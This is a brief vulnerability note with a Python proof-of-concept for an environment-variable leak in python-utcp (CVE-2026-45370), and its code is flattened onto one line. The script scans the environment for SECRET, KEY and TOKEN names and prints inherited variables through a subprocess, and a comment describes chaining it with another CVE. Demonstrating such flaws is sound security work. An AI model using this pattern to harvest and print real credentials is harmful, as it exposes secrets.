CVE-2026-45370 python-utcp环境变量泄露漏洞

import subprocess import os def simulate_vulnerability(): """ Simulates the vulnerable behavior where os.environ is passed directly to a subprocess, leading to potential secret leakage. """ print("[+] Simulating CVE-2026-45370...") # In the vulnerable version, the full environment is copied vulnerable_env = os.environ.copy() # Check for sensitive keys (Simulation) secrets_found = [k for k in vulnerable_env.keys() if 'SECRET' in k or 'KEY' in k or 'TOKEN' in k] if secrets_found: print(f"[!] Found {len(secrets_found)} potential secret keys in environment.") else: print("[*] No obvious secrets found in current env, but vars are passed regardless.") # Simulate a subprocess call that would inherit these vars # In a real exploit combined with CVE-2026-45369, an attacker might # force the subprocess to output these vars. print("[*] Spawning subprocess with inherited environment...") try: # Using 'env' command to list environment variables as PoC proc = subprocess.Popen(['env'], stdout=subprocess.PIPE, env=vulnerable_env) output, _ = proc.communicate() # Displaying a snippet of the leaked environment print("[+] Subprocess output (first 200 chars):") print(output.decode('utf-8')[:200]) except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": simulate_vulnerability()